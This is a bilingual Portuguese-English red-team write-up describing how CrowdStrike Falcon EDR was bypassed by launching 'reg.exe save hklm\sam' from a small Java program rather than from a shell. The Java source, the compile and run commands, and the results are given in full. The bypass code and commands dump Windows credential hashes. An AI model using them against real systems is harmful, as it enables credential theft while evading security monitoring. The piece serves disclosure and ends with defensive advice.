Evasão de EDREDR Evasion
Burlando o CrowdStrike Falcon para dumpar hashes do WindowsBypassing CrowdStrike Falcon to Dump Windows Hashes
Num Red Team a gente reparou que o Falcon bloqueava o dump do SAM quando o comando vinha de um shell. Solução: chamar o reg.exe sem shell nenhum no meio — detectado, mas nunca bloqueado.On a Red Team engagement the Falcon EDR blocked the SAM dump whenever the command came from a shell. The fix: spawn reg.exe with no shell in between — detected, yet never blocked.
- CVE ID
- Severity
- Affected
- CrowdStrike Falcon EDR
- Vendor
- CrowdStrike
- Disclosure
- Researcher
- Samuel Pires — Vultus
Recentemente, num Red Team Assessment, depois de conseguir acesso à rede interna, a gente percebeu que todos os servidores e workstations estavam protegidos pelo CrowdStrike Falcon EDR. É uma ferramenta excelente, que de fato barra a maioria dos ataques conhecidos.Recently, on a Red Team Assessment, after getting access to the internal network, we noticed that every server and workstation was protected by CrowdStrike Falcon EDR. It is an awesome tool that actively prevents most known attacks.
Nesse caso específico, a missão era dumpar todas as hashes de um servidor Windows local (com privilégio de administrador local).In this particular case, our mission was to dump all the hashes from a local Windows server (with local administrator privileges).
Usando os jeitos tradicionais de dump:Using the traditional ways of dumping:
C:\reg save hklm\sam c:\sam
access denied.
Essa falha gera um log no console do CrowdStrike:This failure generates a log in the CrowdStrike console:
reg save partindo de um shell é detectado e bloqueado pelo Falcon.A reg save launched from a shell is detected and blocked by Falcon.Esse servidor tinha Jenkins instalado e a gente reparou que dava pra rodar alguns comandos maliciosos pela groovy console do Jenkins. O CrowdStrike não conseguia barrar. Então a gente dumpou as hashes via groovy, mas no meio do caminho descobriu que existem formas mais fáceis de burlar a prevenção do CrowdStrike. Parece estar relacionado a o processo ser chamado por um shell (cmd ou powershell).This server had Jenkins installed and we noticed that some malicious commands could be executed from the Jenkins groovy console. CrowdStrike couldn't prevent them. So we dumped the hashes using groovy, but along the way we found there are easier ways to bypass CrowdStrike's prevention. It appears to be tied to whether the process is called by a shell (cmd or powershell).
ConteúdoContents
Prova de conceitoProof of concept
Pré-requisito: privilégio mínimo de administrador local.Prerequisite: minimum local admin privileges.
A ideia é executar a aplicação (no caso, o reg.exe) sem um shell. Quase toda workstation de empresa tem Java instalado por um motivo ou outro. (Se não tiver Java, dá pra baixar o openjdk, extrair e usar os binários sem instalação — 100% portátil.)The idea is to run the application (here, reg.exe) without a shell. Almost every company workstation has Java installed for one reason or another. (If Java isn't installed, you can download the openjdk, extract it and use the binaries with no installation — 100% portable.)
Escrevi um código bem básico e simples, só pra executar o processo. Dá pra escrever em qualquer editor de texto que você quiser, até no notepad.I wrote a very basic, simple piece of code, just to execute the process. You can write it in any text editor you like, even Notepad.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class FalconBypassTest {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
// Windows
processBuilder.command("reg.exe", "save", "hklm\\sam", "c:\\sam");
try {
Process process = processBuilder.start();
BufferedReader reader =
new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("\nExited with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
Salve o arquivo como FalconBypassTest.java.Save the file as FalconBypassTest.java.
Compilando:Compiling:
javac.exe FalconBypassTest.java
Executando:Running:
java.exe FalconBypassTest
Depois de executar, recebemos no stdout que a operação foi concluída, e o arquivo SAM foi extraído.After running it, we got on stdout that the operation completed, and the SAM file was extracted.
The operation completed successfully.
Olhando de novo pro console, dá pra confirmar que a ação FOI detectada, mas não bloqueada. "No action".Looking back at the console, we can confirm the action WAS detected, but not blocked. "No action".
reg.exe foi spawnado pelo java.exe, não por um shell.Event detail — reg.exe was spawned by java.exe, not by a shell.O ponto não é o Java em si. O gatilho parece ser a árvore de processos: quando o reg.exe é filho de um cmd.exe/powershell.exe, o Falcon bloqueia; quando o pai é outra coisa, ele só registra.The point isn't Java itself. The trigger seems to be the process tree: when reg.exe is a child of cmd.exe/powershell.exe, Falcon blocks; when the parent is something else, it just logs.
A gente testou a mesma PoC usando Golang e o resultado foi o mesmo: se o processo for chamado por algo diferente de um shell, o Falcon não toma nenhuma ação.We tried the same PoC using Golang and the result was the same: if the process is called by something other than a shell, no action is taken by Falcon.
Esse material é para Red Teams autorizados e pesquisa. Só rode contra sistemas que você tem permissão explícita pra testar.This material is for authorized Red Teams and research. Only run it against systems you have explicit permission to test.
ConclusãoTakeaway
Defesas baseadas em relação pai/filho de processo (tipo "shell spawnou um reg save") são fáceis de driblar quando o atacante controla quem é o processo pai. Trocar o shell por um runtime comum como Java ou Go já foi suficiente pra rebaixar uma prevenção em bloqueio para uma simples detecção. Para defesa, vale alarmar no comportamento (acesso ao hive do SAM, leitura de credenciais) e não só na cadeia de processos. Hack the planet!!!Defenses based on the process parent/child relationship (e.g. "a shell spawned a reg save") are easy to dodge when the attacker controls the parent process. Swapping the shell for a common runtime like Java or Go was enough to downgrade a blocking prevention into a plain detection. For defense, alert on behavior (SAM hive access, credential reads) rather than on the process chain alone. Hack the planet!!!